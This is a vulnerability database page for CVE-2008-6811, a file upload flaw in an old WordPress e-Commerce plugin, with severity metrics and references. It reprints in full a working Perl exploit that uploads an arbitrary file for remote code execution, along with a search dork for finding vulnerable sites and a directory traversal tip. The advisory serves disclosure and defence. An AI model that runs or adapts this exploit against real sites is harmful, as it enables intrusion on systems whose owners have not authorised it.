CVE-2008-6811 : Detail

CVE-2008-6811

1.68%V3
Network
2009-05-17
14h00 +00:00
2017-09-28
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Unrestricted file upload vulnerability in image_processing.php in the e-Commerce Plugin 3.4 and earlier for Wordpress allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in wp-content/plugins/wp-shopping-cart/.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 6867

Publication date : 2008-10-28 23h00 +00:00
Author : t0pP8uZz
EDB Verified : Yes

#!/usr/bin/perl use warnings; use strict; use LWP::UserAgent; use HTTP::Request::Common; my $fname = rand(99999) . ".php"; # no int() print <<INTRO; # messy print i know.. - Wordpress Plugin e-Commerce <= 3.4 Arbitrary File Upload - Discovered && Coded by: t0pP8uZz Discovered on: 20 October 2008 Theres no current vulnerabilitys for this plugin, but the vulnerability explained here no longer exists in the later versions of the plugin, due to a code rewrite. In testing this vulnerability, i wrote a scraping content program, and found ALOT of vulnerable sites. This exploit will upload a selected file to the... ... /wp-content/plugins/wp-shopping-cart/ directory. If the directory is not writable (rare cases) you can mod this exploit and use the insecure GET variable "imagedir" to directory traversal.. so you can upload in diffrent directorys. Contact: irc.rizon.net #sectalk Dork: inurl:"/wp-content/plugins/wp-shopping-cart/" INTRO print "\nEnter URL(ie: http://site.com/mambo): "; chomp(my $url=<STDIN>); print "\nEnter File Path(path to local file to upload): "; chomp(my $file=<STDIN>); my $ua = LWP::UserAgent->new; my $re = $ua->request(POST $url . '/wp-content/plugins/wp-shopping-cart/image_processing.php', Content_Type => 'form-data', Content => [ Submit => "Add", image => [ $file, $fname, Content_Type => 'plain/text' ], ] ); die "Exploit Failed: HTTP POST Failed!" unless $re->is_success; if($re->content =~ /Fatal error/i) { print "Complete! To see if exploit was successfull visit the following URL for your uploaded file.\n"; print "Uploaded File: " . $url . "/wp-content/plugins/wp-shopping-cart/" . $fname . "\n"; } else { print "Exploit Failed! Target host not vulnerable!\n"; } exit; # milw0rm.com [2008-10-29]

Products Mentioned

Configuraton 0

Instinct>>E-commerce_plugin >> Version To (including) 3.4

    Wordpress>>Wordpress >> Version *

    References

    http://www.securityfocus.com/bid/31982
    Tags : vdb-entry, x_refsource_BID
    https://www.exploit-db.com/exploits/6867
    Tags : exploit, x_refsource_EXPLOIT-DB